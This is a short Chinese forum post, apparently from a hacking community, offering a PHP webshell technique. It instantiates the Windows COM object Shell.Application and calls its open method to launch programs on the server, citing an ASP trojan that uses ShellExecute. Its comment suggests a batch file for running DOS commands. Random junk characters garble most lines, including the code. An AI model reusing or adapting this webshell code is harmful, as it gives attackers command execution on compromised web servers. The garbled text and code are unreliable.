关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
& b2 o' M& |* b" w4 [# S
, g" E2 D8 c4 R; s8 C今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
2 Z0 @7 S: i) G7 t$ k. U" \' a0 P, I7 y% k$ i# ^0 V& s
<?php
4 v6 C3 D( L8 r7 W. L) V, H$wsh = new COM('Shell.Application') or die("Shell.Application");, J) y' x) v G& r, U5 B
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
0 N( Q W+ d* v5 l3 J3 l! b' { //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。2 k$ E, T8 [) i! Y
?>
0 p5 Y" ]# i+ {# U- l3 ?9 n" s5 \) X" `1 n) h6 s4 s
xp+APMServ5.2.0测试通过。, O; e1 ]0 _' {: a G2 P) c4 r
|